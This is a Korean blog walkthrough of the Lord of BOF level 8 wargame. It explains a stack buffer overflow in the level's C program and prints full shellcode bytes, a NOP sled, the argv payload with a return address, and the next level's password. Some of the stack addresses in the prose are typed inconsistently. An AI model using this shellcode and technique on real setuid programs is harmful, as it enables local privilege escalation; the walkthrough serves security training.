일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- Buffer Overflow
- 정보보안기사
- PWN
- Pwnable.kr
- Spring Framework
- SQL
- wargame
- OS
- system hacking
- BOF
- Payload
- 정보처리기사 실기
- System
- 워게임
- 해킹
- Lord of BOF
- Spring MVC
- Operating System
- 네트워크
- Spring
- pwnable
- Shell code
- 웹해킹
- 운영체제
- LOB
- webhacking.kr
- webhacking
- 정보보안기사 실기
- hacking
- stack overflow
- Today
- Total
DongDD's IT
[LOB] Level8 orge 본문
[LOB] Level8 orge
Problem
이번 문제도 마찬가지로 troll 실행 파일과 troll.c 소스 코드 파일이 있었다.
소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); } | cs |
소스 코드는 저번 문제들과 비슷하게 되어있었고 몇 줄만 추가되어 있었다.
buffer의 size는 40 bytes이고 지난 문제에서는 if(argc < 2)로 되어있었지만 이번 문제에서는 if(argc != 2)로 되어있는 것으로 보아 argv[2]를 사용하는 방법은 어려워보인다.
extern으로 환경 변수를 가져와 모두 초기화해주고 argv[1]의 48번째는"\xbf"여야하고 길이가 48보다 크면 안된다는 것은 똑같았다.
그 후에는 strcpy를 통해 buffer에 argv[1]을 복사해주고 buffer를 초기화 해준다.
그리고 추가된 것으로 argv[1]을 초기화해준다.
추가된 줄을 보고 이전 문제들에서 원래 의도는 argv[1]에 shell code를 넣고 argv[1]로 리턴하는 것을 의도한 문제들이였다고 생각이 들었다.
stack에 있는 변수를 사용해야 하는데 무엇을 사용해야 할지 처음에 감이 잘 안오다가 계속 생각해보다가 argv[0]을 사용해야 될 것 같다는 생각이 들었다.
Solution
파일 이름을 shell code로 바꿔 문제를 푸는 방식으로 시도해보았고 해결할 수 있었다.
1. argv[0]에 Shell code 이용
일단 먼저 troll 파일을 NOP과 shell code로 이루어진 파일로 copy했다. 이상한 문자로 되어있어 실행하기 어려워 tab을 통해 실행하기 위해 새로운 폴더를 만들어 복사한 실행 파일만 놔두었다.
그 후 gdb를 통해 이 파일에 argv[0]이 어디에 들어가는지 확인해보았다.
사용한 shell code(48 bytes) :
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
이번 문제에서는 다른 shell code를 사용했다. 다른 shell code는 파일 이름으로 설정할 수 없다고 나오는데 그 이유를 찾아보니 "\x2f"를 가진 파일 이름을 생성할 수 없어 "\x2f"가 사용되지 않는 shell code를 선택했다.
gdb를 통해 파일 이름(argv[0])이 들어간 주소를 확인해보았다.
argv[0]의 주소 : 0xbfffbd4
0xbffffbcd부터 시작되지만 NOP을 사용했기 때문에 여유롭게 0xbffffbd4라고 생각하고 payload를 작성했다.
Payload = ./파일 이름(argv[0], 48 bytes의 shell code) + dummy(44 bytes) + return address(argv[0]의 주소)
위 payload를 가지고 실행해보았다.
위 payload로 실행해보았더니 segmentation fault가 나왔다. 아마 저번 문제들에서 있었던 문제들과 같은 문제일거라고 생각이 들었고 core파일로 주소를 확인해보았다.
파일 이름이 이상하기 때문에 core파일을 상위 폴더로 옮겨 gdb로 확인해보았다.
gdb filename ../core
주소를 확인해보니 argv[0]이 들어간 주소가 다른 것을 볼 수 있었다.
argv[0]의 주소 : 0xbfffb80
이 주소로 다시 payload를 작성해 시도해보니 shell을 얻을 수 있었다.
복사했던 파일을 지우고 troll 파일의 이름을 바꾸어 시도해 troll 권한의 shell을 얻을 수 있었다.
************** Answer & Flag **************
1. argv[0]에 Shell code 이용
Payload = ./파일 이름(argv[0], 48 bytes의 shell code) + dummy(44 bytes) + return address(argv[0]의 주소)
argv[0] = "\x90"*20 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
argv[1] = "A"*44 + "\x80\xfb\xff\xbf"'
Next ID : troll
Next PW : aspirin
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level10 vampire (0) | 2018.01.21 |
---|---|
[LOB] Level9 troll (0) | 2018.01.21 |
[LOB] Level7 darkelf (0) | 2018.01.19 |
[LOB] Level6 wolfman (0) | 2018.01.19 |
[LOB] Level5 orc (0) | 2018.01.18 |